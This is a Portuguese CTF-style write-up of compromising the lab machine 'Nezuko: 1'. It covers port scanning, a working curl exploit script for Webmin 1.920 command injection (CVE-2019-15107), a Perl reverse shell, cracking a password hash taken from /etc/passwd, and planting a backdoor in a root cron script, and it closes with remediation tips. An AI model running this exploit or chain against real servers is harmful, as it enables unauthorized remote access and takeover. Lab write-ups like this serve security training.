Pwning - Nezuko: 1

30 VMs em 30 dias [ 17 ] - Beco do Exploit

Mateus Taveira
5 min readDec 17, 2023

Material de Apoio

Objetivo

  • A partir do IP da máquina, explorar vulnerabilidades que permitam acesso remoto
  • Conseguir permissão root e ler a flag escondida

Reconhecimento

Para iniciarmos, precisamos ter o IP da máquina alvo e estar na mesma rede que ela, para que possamos explorar os serviços ativos, que compõe nossa superfície de ataque. Para isso, algumas ferramentas podem ser úteis, como: netdiscover, nmap e arp-scan. Escolhemos a primeira opção, que já deu muito certo:

netdiscover -r <ip-rede>/<mascara>

Com o endereço em mãos, podemos agora enumerar as portas e seus respectivos serviços para que possamos interagir com nosso alvo. Com esse intuito, a ferramenta Nmap cumpre perfeitamente com a função.

nmap -p- -sV -Pn <ip-addr>

Certo, 3 (três) serviços foram encontrados, um SSH e dois HTTP’s. Podemos então começar acessando os sites, para ver do que se tratam.

O primeiro consiste de uma imagem da personagem Nezuko, com uma mensagem de que não há nada mais no site.

Já o segundo, através da porta 13337, recusou a conexão: provavelmente uma regra interna.

Mas isso é muito estranho, pois o nmap identificou que estava rodando um serviço Web nessa porta… que tal tentarmos acessar pelo HTTPS então? Vai que não tem configurado o HTTP…

Aháaaa!! Que pegadinha hein… E bom, já usamos o Wappalyzer para identificar as tecnologias usadas, e temos em mãos a exata provável versão do Webmin: 1.920!

Exploração

Será que existe alguma vulnerabilidade conhecida para ela? Não custa testarmos com o searchsploit

searchsploit webmin 1.920

Que sorte a nossa! Ahahaha

Vamos então copiar esse exploit para nosso diretório de trabalho, para que possamos configura-lo para nosso cenário:

Basicamente, essa vulnerabilidade consiste em uma tratativa indevida de parâmetros POST dentro de /password_change.cgi, mais especificamente, do parâmetro “old”, que permite a concatenação de um command injection.

Podemos então resumir o código na seguinte forma:

#!/bin/sh

URI=$1;
CMD=$2;

echo -n "Testing for RCE (CVE-2019-15107) on $URI: ";
curl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|'$CMD'&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H "Content-Type: application/x-www-form-urlencoded" -H 'Referer: '$URI'/session_login.cgi'

Feito isso, basta executarmos o comando que desejamos, que obviamente vai ser um que nos dê uma Shell remota!

Para isso, vamos ouvir em uma porta antes de executar o comando. Além disso, é preciso encodar o comando com URL Encoding, para que a aplicação entenda caracteres especiais.

Teremos então o seguinte resultado ao executar uma Reverse Shell em Perl:

Heheheh, estamos dentro do servidor!!

Vale lembrar que escolhemos Perl pois com as demais que testamos não deu certo.

Pós Exploração

Como forma de reconhecimento e possibilidade de exploração, podemos dar uma olhada no /etc/passwd:

E adivinha? Uma credencial prontinha para quebrarmos com o JohnTheRipper:

Temos então que o usuário zenitsu tem a senha meowmeow! Vamos então acessa-lo através do comando su. Para isso, é necessária uma Shell interativa, então vamos criar uma também!

Escalação de Privilégio

Bom, uma das principais formas de escalar privilégios é a partir de processos que rodam com privilégio de root. Podemos então procurar por algum deles para explorarmos possíveis falhas de configuração.

Para isso, poderíamos usar ferramentas automatizadas e avançadas como o pspy, entretanto, vamos dessa vez utilizar apenas o que temos em mãos, o próprio comando ps.

while true; do clear; ps aux | grep root; sleep 1; done

Encontramos então um processo cron que executa o arquivo /home/zenitsu/to_nezuko/send_message_to_nezuko.sh, será que temos permissão para manipula-lo?

Nós somos o proprietário do arquivo! Podemos altera-lo então… colando um BACKDOOR!

Feito isso, basta aguardamos que a cron seja executada.

Demorou cerca de 4 minutos, até que…

MÁQUINA OWNADA

E dentro do diretório /root, encontramos a bendita flag!

Correção de Vulnerabilidades

  • Não expor a aplicação Webmin para a internet;
  • Manter as versões dos serviços e aplicações atualizadas;
  • Armazenar senhas em arquivos restritos, como o próprio /etc/shadow, ao invés de no /etc/passwd;
  • Não permitir modificações em scripts que são executados por cron de privilégio root;

Mas se não quiser ter tanto trabalho, basta um simples comando!

Exploração e Write-up feita com o Luís Santos. Acompanhe os próximos capítulos em nossos perfis!!

https://www.linkedin.com/in/mateus-taveira/

https://www.linkedin.com/in/luis-santos-defensive-security/

--

--

Mateus Taveira

💉Development runs through my veins. 🩸 Cyber Security is my blood.